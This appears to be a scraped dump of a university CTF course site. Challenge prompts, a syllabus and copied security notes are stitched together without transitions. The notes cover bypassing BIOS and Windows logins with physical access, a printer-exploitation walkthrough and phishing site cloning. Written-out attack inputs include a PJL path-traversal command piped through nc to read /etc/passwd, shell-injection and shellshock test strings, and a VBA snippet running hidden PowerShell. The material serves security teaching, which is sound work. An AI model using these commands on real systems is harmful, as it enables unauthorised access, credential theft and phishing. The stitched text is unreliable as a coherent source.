+This tool automates WPS/WEP/WPA-PSK attacks. It will automatically:
+WiFi standards update so quick.
+Some security problems, some new attack ideas, balabala...
+I just don't want to update my router. Seriously, who would hack my wireless network?
+flag format: flag{md5 of the WiFi password}
My せんぱい (seniority) invited me to play games in his house.
+The seniority treated me with delicious black tea. But his WiFi is too slow to play video games. So, I'm going to debug this wireless network.
+ +Wang uploaded a Godzilla Trojan to server upload-labs. The memory image, wifi traffic, and the server's traffic are saved.
+Wang used Trojan to run cat /flag
, and you are given these files. Find the flag.
According to @Hacktricks: https://book.hacktricks.xyz/
+Most of the motherbords have a battery. If you remove it 30min the settings of the BIOS will be restarted (password included).
+Most of the motherboards have a jumper that can restart the settings. This jumper connects a central pin with another, if you connect thoses pins the motherbord will be reseted.
+If you could run for example a Kali Linux from a Live CD/USB you could use tools like killCmos** or CmosPWD* (this last one is included in Kali) you could try to recover the password of the BIOS*.
+Put the password of the BIOS 3 times wrong, then the BIOS will show an error message and it will be blocked. Visit the page https://bios-pw.org and introduce the error code shown by the BIOS and you could be lucky and get a valid password (the same search could show you different passwords and more than 1 could be valid).
+To check the settings of the UEFI and perform some kind of attack you should try chipsec. Using this tool you could easily disable the Secure Boot:
+python chipsec_main.py -module exploits.secure.boot.pk
+
+The RAM memory is persistent from 1 to 2 minutes from the time the computer is powered off. If you apply cold (liquid nitrogen, for example) on the memory card you can extend this time up to 10 minutes.
+Then, you can do a memory dump (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory.
+You should analyze the memory using volatility.
+Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces. Connect your computer to the victim computer over one of those interfaces and INCEPTION will try to patch the pyshical memory to give you access.
+If INCEPTION succeeds, any password introduced will be vaid.
+It doesn't work with Windows10.
+These binaries are located inside C:\Windows\System32**. You can change any of them for a copy of the binary cmd.exe (also in the same folder) and any time that you invoke any of those binaries a command prompt as SYSTEM** will appear.
+You can use the tool chntpw** to modify the SAM* file* of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example. This tool is available in KALI.
+chntpw -h
+chntpw -l <path_to_SAM>
+
+Inside a Linux system you could modify the /etc/shadow** or /etc/passwd* file.*
+Kon-Boot is one of the best tools around which can log you into Windows without knowing the password. It works by hooking into the system BIOS and temporarily changing the contents of the Windows kernel while booting (new versions work also with UEFI). It then allows you to enter anything as the password during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened. Read More: https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/
+It is a live CD/USB that can patch the memory so you won't need to know the password to login. Kon-Boot also performs the StickyKeys trick so you could press Shift** 5 times to get an Administrator cmd**.
+There are also tons of tutorials about how to create your own bad USB.
+With administrators privileges and powershell you could make a copy of the SAM file. See this code.
+Bitlocker uses 2 passwords. The one used by the user, and the recovery password (48 digits).
+If you are lucky and inside the current session of Windows exists the file C:\Windows\MEMORY.DMP** (It is a memory dump) you could try to search inside of it the recovery password. You can get this file and a copy of the filesytem and then use Elcomsoft Forensic Disk Dercyptor to get the content (this will only work if the password is inside the memory dump). You coud also force the memory dump* using NotMyFault* of Sysinternals, but this will reboot the system and has to be executed as Administrator.
+You could also try a bruteforce attack using *Passware Kit Forensic*.
+Note: As always the following is just a digest of all the things I could observe by working on printers myself or facts from stuff I read about recently.
+Since this thread about the HP printer promo videos 3 caught some attention I will try to shed some light onto the field which was displayed there. +First of all we should keep in mind this was a promo video made by a company. +So always ask yourself this: “How real are the displayed scenarios, or are these just ‘Hollywood fabrications’?”
+I had some access to different printers over the last couple of month and learned some basic principles, which I wanna share with +you as good as possible now. +Printer use a various amount of protocols and firmwares which differ from vendor to vendor and model to model. +So this first part might be boring to some, you can try to skip the theoretical part and jump right to the exploitation paragraph, but talking about fundamentals will cover important topics.
+We get to that in next couple of paragraphs
+Not much to mention here
+Local printers are just directly connected to a desktop PC and are rather uninteresting. +These days almost all printers seem to be network printers though. +So basically network printing enables users in locations geographically separate from each other and from their print devices to produce documents for themselves and others. +Print servers enable multiple clients to share one or more print devices. +So far so easy right? +Let’s jump directly to some highlevel view which explains every network printer quite well.
+A highlevel view of current network printers might look something like this:
+ +----------------------------------------------------+
+ | Network printing protocols |
+ Printing channel +-------------------------------+--+
+ | |
+ | IPP, LPD, SMB, raw port 9100 |
+ | |
+ +--------------------------------------------------+ |
+ | job/printer control langs. | |
+ Printer language +-----------------------------+--+ |
+ | | |
+ | PJL, PML | |
+ | | |
+ | +------------------------+ | |
+ | | Page descr. langs. | | |
+ | +------------------------+---+ | |
+ | | | | |
+ | | PS, PCL, PDF, XPS, ... | | |
+ | | | | |
+ | +----------------------------+ | |
+ +--------------------------------+ |
+ +----------------------------------+
+
+Note: This diagram might be incomplete!
+=The network printing protocol acts as a channel to deploy print jobs, which either contain the page description language directly or first invoke a printer/job control language!
+Let’s take a look at each of those sections in the diagram above more closely and cover some fundamentals.
+Printer use, in my experience a couple of different operating systems for embedded devices. +I’ll list a few of them here, but won’t really dive into them, since it would go beyond the scope of this article.
+With the different, but limited pool of printers I’ve had access to all of them had some things in common in the end.
+These facts show that printers might be vulnerable to certain attacks, but still these attacks +often are made more ‘complicated’, because certain functions aren’t even there or somehow have to get enabled through (remote) file system writes…
+Next a wild bunch of protocols is used for communication between Printers, print servers, desktop PCs and even internally within a printer. +Let’s take a look!
+To summarize it right away there are a bunch of ‘exotic’ protocols for network printing (NCP or AppleTalk for example) +To explain and mention them all here would be too much again. +If anyone is interested in some specifics or a follow up post I’d answer any questions there.
+In the Windows world, SMB/CIFS printer are popular. +The most common printing protocols supported directly by network printers however are LPD, IPP, and raw port 9100 printing, which I will explain a bit more in depth now. +Furthermore, some devices support printing over generic protocols such as FTP or HTTP file uploads as well.
+LPD is short for ‘Line Printer Daemon’-protocol. +It runs on port 515/TCP and can be accessed by using ‘lpr’ over the CLI. +To print things, the client sends a control file defining job/username and a data file containing the actual data to be printed.
+IPP is an extendable protocol and based on HTTP, so it inherits all existing security features like basic authentication and SSL/TLS encryption. +To submit a print job, a HTTP POST request is sent to the IPP server, which listens on 631/TCP. +For anyone wondering CUPS is an IPP implementation, which is a default printing system in many Linux distributions and macOS X.
+SMB, short for ‘Server Message Block’ is an application-layer network protocol, which handles file and printer sharing. +It’s used by default on Windows. +Usually it runs on 445/TCP.
+Also known as ‘raw printing’, since it makes use of connecting to 9100/TCP of a network printer. +It is the default method used by CUPS and the Windows printing architecture. +Here all data sent is directly processed by the printing device, just like a parallel connection over TCP. +In contrast to LPD, IPP and SMB interpreted printer control/page description languages, this one here is capable of sending direct feedback to the client, including status and error messages. +So we have a bidirectional channel here, which directly can give us access to results of the Printer control languages!
+Basically a job control language manages settings like output trays for the current job. +It often just sits in between the printing protocol and the page description language. +Printer control and management languages are designed to affect not only a single print job but the device as a whole. +I’m not too knowledgeable here but the two most basic ones are listed below.
+SNMP, short for ‘Simple Network Management Protocol’ listens on 161/UDP. +Was designed to manage network components
+PJL, short for ‘Printer Job Language’ is the kinda de-facto standard now +Can be used to manipulate general settings, also with permanent changes. +There are many dialects as vendors tend to support only a subset of the commands listed in the PJL reference and instead prefer to add proprietary ones. +PJL is also used to set the file format of the actual print data to follow, which makes it interesting for various attacks.
+This one basically specifies how the actual document will look like appearance wise. +Here comes the printer driver into play which kinda translate the file to be printed into a PDL that is understood by the printer.
+Is well known and made by Adobe and is widely used as a PDL. +PS is capable of far more than just defining the appearance of the document and handling vector graphics though. +That’s why, when used correctly, PS can be used for a variety of attacks such as denial of service (for example, through infinite loops), print job manipulation and retention as well as gaining access to the printer’s file system.
+As a minimalist page description language supported by a wide variety of vendors and devices. +Is also a de-facto Standard nowadays. +It’s also not intended to get direct access to the underlying filesystem. +So it’s not that well suited for exploitation purposes, but still has it’s place for such purposes as well.
+I just leave this data as a first expression here
+++shodan count port:9100 pjl +29111 +[7/07/20 7:42:13] dev@ops +shodan count port:515 lpd +50607 +[7/07/20 7:42:46] dev@ops +shodan count port:631 ipp +90760 +[7/07/20 7:43:10] dev@ops +shodan count port:161 snmp +7876
+
Data from: 07.07.2020
+As easily seen above a lot of printers are connected to the Internet through port 9100, which make them attackable. +You either know the IP or can just scan for some in your neighborhood radius/ check shodan. +Once you have some you might get a SSH connection going. +Often standard login credentials are still used, which you can easily scrape from the Internet…
+If you have physical access to the printer you can also plug in an USB drive or even a SD card.
+So now we’re kinda back to the linked topic at the beginning of the small web series directed by HP. +So how realistic are the shown scenarios?
+Depending on the planned attack and possible access one has a variety of attack vectors. +One need more planning than others. +Some need physical access and some can be done from remote. +Combinations of those are easily possible!
+For example issuing a malicious firmware update via a simple print job (possible case: no authentication needed), which extracts sensitive data and renders the printer useless. +-Printer ‘ransomware’ may be a thing, even if it sounds kinda weird.
+So to conclude this section, I think the shown attacks in the videos were presented a tad to ‘flashy’, but are indeed possible depending on the printers and network they are placed in.
+A lot of these techniques mentioned above need some serious work or knowledge about the underlying structure ( e.g.: used PDL, PCL). +Even though these might be fairly easily found out using manuals or online search it’s still a hassle and extra work. +So people already made our lifes more easy by providing tools for almost all tasks mentioned above :).
+The Browser Exploitation Framework (BeEF) is a penetration testing tool that focuses on the web browser. +It allows the penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. +This is not really printer specific, but it is a framework to implement cross-site printing 48 functionality.
+Praeda - “An Automated Printer Data Harvesting Tool” written in perl. +Also a tool to help pentesters to gather usable data during security assessment jobs. +Praeda systematically collects sensitive information from the printer’s embedded web server. +This includes device passwords, usernames, email addresses which might be available publicly on the web interface.
+This one is real nifty tool written in python to check for basically every attack vector I mentioned above. +It tries to connect to the printer via network or USB and tries to exploit the used printer languages, currently supported are PS, PJL and PCL. +When successfully connected one has a ton of available commands. +A full list can be found on the Github, linked below.
+Linux Exploit Suggester is a neat little perl script, which gives some options for possible exploits depending on your kernel. +As stated above the kernel versions for embedded operating systems are often far lower, compared to current linux based desktop or server distributions. +So old, usually fixed exploit techniques might still be viable here!
+Note: It is likely, that perl is not present in it’s full range and copying it to a printer is extra work. +Luckily one can run simply run in a desktop environment and specifying the kernel you want to exploit
+Ok what is a basic plan to concentrate on when trying to exploit a printer? +I’ve given a lot of theory until this point, as well as some “Do’s” and “Mights”. +Maybe you’ve got some ideas on your own already, but here’s a little experimental journey from me.
+So first thing that is obvious is to check for open ports and an OS fingerprint. +Luckily we have nmap. +Nmap is bae for this.
+$ sudo nmap 192.168.1.108
+Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST
+Nmap scan report for 192.168.1.108
+Host is up (0.031s latency).
+Not shown: 993 closed ports
+PORT STATE SERVICE
+80/tcp open http
+139/tcp open netbios-ssn
+443/tcp open https
+445/tcp open microsoft-ds
+515/tcp open printer
+631/tcp open ipp
+9100/tcp open jetdirect
+MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)
+
+Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds
+
+Device type: specialized
+Running: Linux 2.6.X
+OS CPE: cpe:/o:linux:linux_kernel:2.6
+OS details: Linux 2.6.31 - 2.6.35 (embedded)
+Network Distance: 1 hop
+
+OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
+$
+
+So we have the usual printing ports open, as well as some other basic ones. +It is running an older Linux as well, so no big surprise there! +No open 22/TCP port though. +So causing mayhem on the file system is not possible as of now.
+I’ve praised PRET quite a bit above, so let’s give it a try to check if my Epson printer has a nice, hopefully standard set of supported printer languages!
+$ python pret.py 192.168.1.108 -s PS
+
+Checking for IPP support: found
+Checking for HTTP support: found
+Checking for SNMP support: found
+Checking for PS support: not found
+$
+
+$ python pret.py 192.168.1.108 -s Pjl
+Checking for IPP support: found
+Checking for HTTP support: found
+Checking for SNMP support: found
+Checking for PJL support: not found
+$
+
+$ python pret.py 192.168.1.108 -s PCL
+Checking for IPP support: found
+Checking for HTTP support: found
+Checking for SNMP support: found
+Checking for PCL support: not found
+$
+
+So no SSH and not even a standard version here… +Most likely the result of my vendor using some exotic stuff again and not keeping things simple …
+Anyway using PRET is easy and self explanatory, once connected a help function will give you an overview of available stuff! +From checking the file-system. creating directories, changing configuration files or even dumping the whole NVRAM. +PRET can do it all (in theory that is ).
+After trying a few things to find a way to make PRET work for me I trashed that idea for now and moved on!
+So I wanted to have some fun now after the two disappointing results :D. +So let’s dig deeper into what Linux exploits might get suggested for our version!
+$ perl Linux_Exploit_Suggester.pl -k 2.6.31
+
+Kernel local: 2.6.31
+
+Searching among 65 exploits...
+
+Possible Exploits:
+[+] american-sign-language
+ CVE-2010-4347
+ Source: http://www.securityfocus.com/bid/45408/
+[+] can_bcm
+ CVE-2010-2959
+ Source: http://www.exploit-db.com/exploits/14814/
+[+] do_pages_move
+ Alt: sieve CVE-2010-0415
+ Source: Spenders Enlightenment
+[+] half_nelson
+ Alt: econet CVE-2010-3848
+ Source: http://www.exploit-db.com/exploits/6851
+[+] half_nelson1
+ Alt: econet CVE-2010-3848
+ Source: http://www.exploit-db.com/exploits/17787/
+[+] half_nelson2
+ Alt: econet CVE-2010-3850
+ Source: http://www.exploit-db.com/exploits/17787/
+[+] half_nelson3
+ Alt: econet CVE-2010-4073
+ Source: http://www.exploit-db.com/exploits/17787/
+[+] msr
+ CVE-2013-0268
+ Source: http://www.exploit-db.com/exploits/27297/
+[+] pipe.c_32bit
+ CVE-2009-3547
+ Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
+[+] pktcdvd
+ CVE-2010-3437
+ Source: http://www.exploit-db.com/exploits/15150/
+[+] ptrace_kmod2
+ Alt: ia32syscall,robert_you_suck CVE-2010-3301
+ Source: http://www.exploit-db.com/exploits/15023/
+[+] rawmodePTY
+ CVE-2014-0196
+ Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
+[+] rds
+ CVE-2010-3904
+ Source: http://www.exploit-db.com/exploits/15285/
+[+] reiserfs
+ CVE-2010-1146
+ Source: http://www.exploit-db.com/exploits/12130/
+[+] video4linux
+ CVE-2010-3081
+ Source: http://www.exploit-db.com/exploits/15024/
+$
+
+Note: If these are viable and meet all dependencies has to be checked of course, but a brief look at them made me decide not to spend too much effort here.
+So I thought why not check for PJL again and try invoking some command strings manually in combination with netcat as a listener!
+So I tried using:
+echo "@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648" | nc -v -v 192.168.1.108 9100
+# If successful this should display the */etc/passwd* file.
+
+or
+echo "@PJL INFO ID" | nc -v -v 192.168.1.108 9100
+# If successful this should get the *printer’s device information*
+
+as well as other PJL command injecting techniques, but my printer is not accepting any of these. +It’s not reacting at all to this kind of ‘attack’…
+I’m not knowledgeable enough to launch this with PS and PCL as well, because their command syntax differs greatly (obviously). +I’m remaining with a note to search for PS and PCL attack strings.
+So PRET doesn’t work for my home printer as seen above. +Interestingly I found that there is a script “hidden” within the PRET source folder called “lpdtest.py” +It can test for known, but older (like really older) vulnerabilities within the Line Printer Daemon, listed here 60. +This involves some basic tests:
+Trying to get (aka print) a file from printer’s file system.
+$ lpdtest.py printer get /etc/passwd +$ lpdtest.py printer get …/…/…/etc/passwd
+etc…
+This test is for fuzzing around with user input (hostname,username, jobname, filenames, etc.). +This might be useful to test for interpretation of shell commands…
+# Test for environment variables
+$ lpdtest.py printer in '$UID'
+
+# Test for pipes and redirects
+$ lpdtest.py printer in '| pwd'
+$ lpdtest.py printer in '>/etc/passwd'
+
+# Test for backticks
+$ lpdtest.py printer in '`ls`'
+
+# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)
+$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'
+
+As expected these attacks were already fixed. +My printer spit out a few pages with lines like
+“If you can read this lpdtest.py XYZ failed!”
+So the result here some wasted paper and ink…
+If I get the hands on some nicer printer I will deliver some exploit stuff later on I promise. +If I get some more time to get a breakdown of my current home printer so I can take a look under the hood and to figure something out. +An example here would be to capture a firmware update and trying to unpack/reverse that one. +This would take a lot more time and preparation of my part, which would cause serious delay to this article as well.
+So I’m keeping it rather open ended now, but I hope I could inspire some minds here to take a closer look as well. +Furthermore I hope this article reached the people who were interested and were able learn some things. +So if you want to try to exploit your own device, just try it out! +Remember:
+I’m looking forward to feedback and improvement suggestions.
+[-] ~~Hackergame 2021 challenge "去吧!追寻自由的电波"~~
+[+] Inspired by Hackergame. Original created challenge.
+[an interesting story]
+OK now you have this mp3 file, please find the flag.
+ +Hint1: it's too fast to understand!
+Hint2: if I can let the time move backwards, this might be easier.
+Hint3: some online OCR might be helpful. For example, https://speech-to-text-demo.ng.bluemix.net/
+Have you faced the situation, that your roommate is playing games so late and the sound of mechanical keyboard is super noisy?
+Meanwhile, especially you have midterm exam the next day.
+You decide to record this sound and try to find some interesting key taps from your roommate.
+(Account password, secret chat with girlfriend, or pxxxhub keywords...)
+ +Hint1: the key taps only contain lower case characters and spaces.
+Hint2: keyboard sniffing paper: https://www.davidsalomon.name/CompSec/auxiliary/KybdEmanation.pdf
+Hint3: online key tap detector: https://keytap2.ggerganov.com/
+Hint4: another (faster) method: recognize key tap sound, generate a substitution cipher and break.
+Hint5: flag only contains lower case characters and underline (replace all spaces to underlines).
+Example program to generate key sound average:
+from scipy.io import wavfile
+samplerate, data = wavfile.read('./output.wav')
+
+i = 0
+countsilent = 0
+samplefound = 0
+
+avg = []
+start = 0
+end = 0
+avg.append([0])
+
+for sample in data:
+ i+=1
+ if(sample[1]<100):
+ countsilent += 1
+ if(countsilent > 10000 and sample[1]>100):
+ countsilent = 0
+ #print(str(i)+": sample found")
+ start = i
+ samplefound = 1
+ if(countsilent > 8000 and samplefound==1):
+ samplefound = 0
+ #print(str(i)+": sample ended")
+ end = i
+ avg[len(avg)-1]=avg[len(avg)-1]/(end-start)
+ print("avg: "+str(avg[len(avg)-1]))
+ avg.append([0])
+ if (samplefound == 1):
+ avg[len(avg)-1] += sample[1]
+
+Example program to map sound to character:
+alphabet = "abcdefghijklmnopqr stuvwxyz"
+avg = {}
+
+i=0
+
+res=""
+
+with open("avg") as file:
+ for line in file:
+ value = line.rstrip()[6:-1]
+ #print(value)
+ if str(value) not in avg:
+ avg[str(value)]=alphabet[i]
+ i+=1
+ res+=avg[str(value)]
+print(avg)
+print(res)
+
+Online substitution cipher solver: https://www.boxentriq.com/code-breaking/cryptogram
+A stranger has left his USB on my desk.
+[plug in...]
+OMG my mouse is out of control!
+ +Hint1: packet is a USB capture, used for Logitech Optical Mouse.
+Hint2: IRP ID is the only part changes in capture, which represents the mouse move.
+Hint3: Gnuplot is an application to simulate mouse clicks.
+Hint4: the first word in flag is "tHE".
+ + + + + + + + +According to @Hacktricks: https://book.hacktricks.xyz/
+For a phishing assessment sometimes it might be useful to completely clone a website.
+Note that you can add also some payloads to the cloned website like a BeEF hook to "control" the tab of the user.
+There are different tools you can use for this purpose:
+wget -mk -nH
+
+#https://github.com/imthaghost/goclone
+oclone <url>
+
+#https://github.com/trustedsec/social-engineer-toolkit
+
+In order to detect a phishing attempt it's important to understand the phishing techniques that are being used nowadays. In the parent page of this post you can find this information, so if you aren't aware of which techniques are being used today I recommend you to go to the parent page and read at least that section.
+This post is based in the idea that the attackers will try to somehow mimic or used the victim's domain name. If your domain is called example.com
and you receive a phishing that is using a completely different domain name for some reason like youwonthelottery.com
, this techniques aren't going to uncover it.
It's kind of easy to uncover those phishing attempts that will use a similar domain name inside the email. It's enough to generate a list of the most probable phishing names that an attacker may use and check if it's registered or just check if there is any IP using it.
+For this purpose you can use any of the following tools. Note that these tolls will also perform DNS requests automatically to check if the domain has any IP assigned to it:
+ +In the world of computing, everything is stored in bits (zeros and ones) in memory behind the scenes. This applies to domains too. For example, windows.com becomes 01110111... in the volatile memory of your computing device. However, what if one of these bits got automatically flipped due to a solar flare, cosmic rays, or a hardware error? That is one of the 0's becomes a 1 and vice versa. Applying this concept to DNS request, it's possible that the domain requested that arrives to the DNS server isn't the same as the domain initially requested.
+For example a 1 bit modification in the domain microsoft.com can transform it into windnws.com. Attackers may register as many bit-flipping domains as possible related to the victim in order to redirect legitimate users to their infrastructure.
+For more information read https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/
+All possible bit-flipping domain names should be also monitored.
+Once you have a list of potential suspicions domain names you should check them (mainly the ports HTTP and HTTPS) to see if they are using some login form similar to someone of the victim's domain. You could also check the port 3333 to see if it's open and running an instance of gophish
. It's also interesting to know how old each discovered suspicions domain is, the younger it's the riskier it is. You can also get screenshots of the HTTP and/or HTTPS suspicious web page to see if it's really suspicious and in that case access it to take a deeper look.
If you want to go one step further I would recommend you to monitor those suspicious domains and search for more once in a while (every day? it only takes a few seconds/minutes). You should also check the open ports of the related IPs and search for instances of gophish
or similar tools (yes, attackers also make mistakes) and monitor the HTTP and HTTPS web pages of the suspicions domains and subdomains to see if they have copied any login form from the victims web pages. In order to automate this I would recommend to to have a list of login forms of the victims domains, spider the suspicions web pages and compare each login form found inside the suspicions domains with each login form of the victim's domain using something like ssdeep
. If you have located the login forms of the suspicions domains you can try to send junk credentials and check if it's redirecting you to the victims domain.
The parent page also mentions a domain name variation technique that consist on putting the victim's domain name inside a bigger domain (e.g. paypal-financial.com for paypal.com).
+It's not possible to take the previous "Brute-Force" approach but it's actually possible to uncover this phishing attempts also thanks to certificate transparency. Every time a certificate is emitted by a CA, the details are made public. This means that reading the certificate transparency or even monitoring it, it's possible to find domains that are using a keyword inside it's name For example, if attackers generates a certificate of https://paypal-financial.com, seeing the certificate it's possible to find the keyword "paypal" and know that that suspicions email is being used.
+The post https://0xpatrik.com/phishing-domains/ suggest that you can use Censys to search for certificates affecting a specific keyword and filter by date (only "new" certificates) and by the CA issuer "Let's Encrypt":
+ +However, you can do "the same" using the free web crt.sh. You can search for the keyword and the filter the results by date and CA if you whish.
+ +Using this last option you can even use the field Matching Identities to see if any identity from the real domain matches any of the suspicious domain (note that a suspicious domain can be a false positive).
+Another alternative is the fantastic project called CertStream. CertStream provides a real-time stream of newly generated certificates which you can use to detect specified keywords in (near) real-time. In fact, there is a project called phishing_catcher that does just like that.
+One last alternative is to gather a list of newly registered domains for some TLDs (Whoxy provides such service) and check the keywords in these domains. However, long domains usually uses one or more subdomains, therefore the keyword won't appear inside the FLD and you won't be able to find the phishing subdomain.
+Microsoft Word performs file data validation prior to opening a file. Data validation is performed in the form of data structure identification, against the OfficeOpenXML standard. If any error occurs during the data structure identification, the file being analysed will not be opened.
+Usually Word files containing macros uses the .docm
extension. However, it's possible to rename the file changing the file extension and still keep their macro executing capabilities. For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution. The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).
You can use the following command to check which extensions are going to be executed by some Office programs:
+assoc | findstr /i "word excel powerp"
+
+DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
+Go to: Insert --> Quick Parts --> Field Categories*: Links and References, Filed names*: includePicture, and Filename or URL*:* http://%3Cip%3E/whatever
+ +Dim author As String
+author = oWB.BuiltinDocumentProperties("Author")
+With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
+ .StdIn.WriteLine author
+ .StdIn.WriteBlackLines 1
+
+The more common they are, the more probable the AV will detect it.
+Got some reviews that our challenges are so hard. Frank becomes so sad because there's no difficult challenges this week.
+We even have a sanity check for the first challenge.
+flag{1_l0v3_54n17y_ch3ck_ch4ll5}
Hint1: the flag is in question description.
+Hint2: the flag is in plain text.
+Found this pcap of my ex's network traffic. I knew they're streaming video but I can't extract it. Can you help me ?
+Hint1: this challenge is from COMPFEST 13.
+Hint2: successfully extract files in the zip leads to the checkpoint.
+ +Windows XP is a great OS. When cleaning my Windows XP laptop, something unfortunate happened...
+Hint1: after you found the docx, use XOR brute. This isn't a macro forensics.
+ +Archaeology.zip from Baidu Disk with password l720
COMPASS Note System. Login to use!
+ +{{ error }}
+ Register +Register!
+ +{{ error }}
+You are logged in!
+Unfortunately, you do not have access to note system.
+(Only our boss has access!)
+(username: hackin9)
+ Log out +该放题时自会放题
+提前做题体验极差
+做完发群更是一绝
+拒绝焦虑从我做起
+ + + + + + + + +Topics | +Grade | +
---|---|
Class Participation | +40 | +
Lab 1: Packet Sniffing and Wireshark | +60+10 | +
Lab 2: Secure Coding and Buffer Overflows | +60+10 | +
Lab 3: Secure Coding and Format-String Vulnerability | +60+10 | +
Lab 4: Scanning, Reconnaissance, and Penetration Testing | +60+10 | +
Lab 5: Reverse Engineering and Obfuscation | +60+10 | +
Lab 6: IoT Security and Wireless Exploitation | +60+10 | +
Lab 7: Nailgun Attack | +60+10 | +
Lab 8: Nailgun Defense | +60+10 | +
Lab 9: Dirty COW Attack | +60+10 | +
Lab 10: RSA Public-Key Encryption and Signature | +60+10 | +
Lab 11: Web Security | +60+10 | +
Lab 12: Return-to-libc & Return Oriented Programming | +60+10 | +
Attack-Defense CTF | +120 | +
Total | +1000 | +
The lab submission is the same as the Lab track, while CTF has 240 points in total. 120 points of challenges & virtual machine penetration, and 120 points of AWD CTF.
+Let's introduce something about the CTF track.
+CTF majors in the practice part of computer security. CTF (Capture the flag) is one kind of cybersecurity game for hacking and penetration testing. In the real world hacking is illegal and dangerous, while some developers found a new type of game: establish a target box, and try to attack it.
+In the CTF track, our mission is to solve some simulation challenges and try to grab the top-secret flag
from the box. We would have several challenges or virtual machine boxes every week, our goal is to find a vulnerability and use it to achieve some objectives:
The ability we need to learn in this track is the real-world hacking methodology. We not only need to solve some CTF challenges that focus on specific vulnerabilities but also a from-zero-to-root hacking using a well-designed target virtual machine. At the end of this semester, we also need to run an Attack-with-Defense competition, in which every player attacks others and fixes their vulnerabilities.
+The learning involves:
+Be careful, CS315 is NOT easy. We need a lot of computer science knowledge to run a simple attack. Please make sure you have the following requirements:
+We would have 3 types of assignments. During the CTF track, we would use a CTF platform as a practice environment and submission check.
+Inside the university: http://detroit.sustech.edu.cn/
+Through public Internet: http://116.7.234.225/
+Example:
+try to find the plain text of this cipher text.
+iodj{brx'uh_zhofrph_wr_wkh_fv315!}
+Solution:
+Use Caesar cipher, left rotate move every letter, and find the correct plain text.
+flag{you're_welcome_to_the_cs315!}
+
+The challenge is not a fully functional service. We can focus on the specific part of the real-world vulnerability. The final mission of the CTF challenge is to find a special string that starts with flag
or cs315
.
Submit this string to the challenge platform.
+However, the assignment we need to submit on the blackboard is not only the flag, we also need to post a writeup
for this challenge. Simply, a writeup
is the step to solve the challenge. Just like mathematics questions, write some steps instead of only the result.
A virtual machine box is a .iso
file that contains some websites or services. We first know nothing about the target box. Usually, a virtual machine box contains a real-world-like service, for example, a blog, or an online shopping platform.
We need to retrieve the root
privilege in this box, each step we would get a flag
as a step mark.
We would have 2 virtual machine box hacking in the 4th week and 8th week.
+The final exam for the CTF track is the AWD game with all CTF track players. Attack-with-Defense requires everyone to have a server, several services are running on the server. All the players need to keep the services running, fix the vulnerabilities in the service, and attack others' servers.
+Every method is allowed.
+This game would need us to team up. Each team has 4 members, who work together to win the game.
+The grading system we use would try to eliminate the possibility of the rat race. Attitude is no substitute for competence. The weekly challenges and virtual machines have a maximum score of 10, while the final AWD game doesn't have a maximum score, which means you can get as many as possible points in this game.
+For the weekly challenge, we have 3 challenges every week:
+Let's explain the bonus challenge. The grading system for the AWD game is a log function:
+score = (log_1.2(x))^(1+y/100)
+x stands for the final points you earn in the AWD, usually, a team has 50,000 initial points, through attacking and defending, you can earn points from others or lose points from others' attacks.
+For a tuneful network, without any cybersecurity attacks, every team would get 60 points out of 120 points. However, if a team can earn 1,000,000 points, this team can have 75 points out of 120 points.
+Quite a few, right?
+But this isn't the final grade, let's talk about the y
in the exponent. This variable stands for the bonus challenges the team solves in the semester. Each bonus challenge can have 1 bonus points, which gives y
some bonus. For a 4-member team, if several members have the same bonus challenge solved, the y
won't be calculated twice (still the same as the bonus points for this challenge).
The maximum y
value would be around 20.
For example, Frankss solved 6 out of 20 bonus challenges, while Monad solved 7 out of 20 bonus challenges, and they have 3 common solutions to the same challenge. The bonus y
value would be 10.
If a team has all bonus points 20, they can have 120 points (maximum) in the AWD with only 19,000 AWD points.
+Be aware, that this grading system is only for the elimination of the rat race. I hope everyone can learn about cybersecurity, instead of becoming a script kid.
+Just like the research track's special rule, if you successfully submitted a paper, the research track would give bonus points. In the CTF track, we can have some similar methods to win the bonus.
+Have participated in the DEF CON final.
+Any other contribution to real-world security.
+I would reference this book from the Nu1L team:
+从0到1:CTFer成长之路
+For the English version, we can reference these wiki:
+https://wiki.compass.college/
+https://teambi0s.gitlab.io/bi0s-wiki/
+If you want to use some virtual machine as a penetration environment, instead of your physical computer, there are some great distributions:
+In reality, e-discovery (digital forensics) is the process of obtaining, preserving, analyzing and presenting evidence of computer intrusion, sabotage, fraud, attack and other crimes in a manner consistent with legal norms by using computer software and hardware technologies. The forensics-related topics in CTF are the process of obtaining the flags placed by the questioner by analyzing the files containing relevant records and traces, such as traffic packets, log files, disk memory images, etc. Forensics-related topics are characterized by a large amount of information, and it may take a very long time to analyze them one by one, so it is essential to master efficient analysis methods.
+This section will introduce three common forensic scenarios in CTF, namely traffic analysis, memory image forensics and disk image forensics, the reader needs to master the pre-requisite knowledge including computer network basics, file system basics and operating system basics.
+A traffic packet is generally a traffic file in PCAP format obtained by traffic crawling of a network device on a computer using tools such as tcpdump. The graphical tool Wireshark and its command line tool Tshark can analyze such traffic packets. Wireshark is free software (official website is https://www.wireshark.org/) and supports the analysis of multiple protocols and also supports the traffic capture function.
